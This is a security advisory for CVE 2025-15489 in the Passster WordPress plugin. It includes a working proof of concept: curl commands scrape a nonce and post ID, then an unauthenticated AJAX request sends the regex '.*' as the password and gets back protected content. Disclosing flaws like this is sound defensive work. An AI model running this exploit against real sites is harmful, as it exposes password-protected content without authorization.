Passster < 4.2.24 – Password Protection Bypass | CVE 2025-15489

Description

The plugin does not handle input properly in an AJAX action, allowing unauthenticated users to retrieve the value of password protected content

Proof of Concept

1) After installing the plugin login as a superadmin user and create a new post

2) Add the following shortcode to add a password-protected element

[passster password="SecretPass123"]This is protected content.[/passster]

3) Publish the page and copy its URL. Log out of WordPress.

4) Curl the protected post URL and get the nonce:

$(curl -s http://wpscan-vulnerability-test-bench.ddev.site/blog/2025/11/22/password/ | grep "ps_ajax" | grep -o '"nonce":"[^"]*' | cut -d ":" -f2 | cut -d '"' -f2)

5) Get the post ID value via Curl as well:

$(curl -s http://wpscan-vulnerability-test-bench.ddev.site/blog/2025/11/22/password/ | grep "ps_ajax" | grep -o '"post_id":"[^"]*' | cut -d ":" -f2 | cut -d '"' -f2)

6) Send an AJAX request with the regex injection in the input field:

curl -X POST 'http://wpscan-vulnerability-test-bench.ddev.site/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'action=validate_input' \
--data-urlencode 'type=password' \
--data-urlencode "nonce=NONCE" \
--data-urlencode "post_id=POST_ID" \
--data-urlencode 'input=.*'

7) Notice that the response returns the protected post contents